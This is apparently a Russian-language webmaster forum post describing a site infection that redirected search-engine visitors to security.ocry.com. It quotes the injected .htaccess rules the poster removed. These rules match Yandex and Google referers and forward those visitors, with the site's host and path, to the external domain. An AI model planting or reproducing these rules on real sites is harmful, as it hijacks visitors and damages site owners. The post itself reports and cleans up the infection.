Аналогичная ситуация с вымогателем security.ocry.com, при этом резко упал трафик с поисковиков и на столько же увеличился с этого сайта. Причем блокировался сайт и с яндекса и с гугла.
после удаления в .htaccess
RewriteCond %{HTTP_REFERER} ^.*yandex.* [NC,OR]
RewriteCond %{HTTP_REFERER} ^.*google.* [NC]
RewriteRule ^(.*)$ http://security.ocry.com/?RETURN=%{HTTP_HOST}%{REQUEST_URI}&ID=31&STREAM=93 [QSA,L]
вроде бы все вернулось на место.
Теперь бы разобраться как эта пакость залезла на сервер.
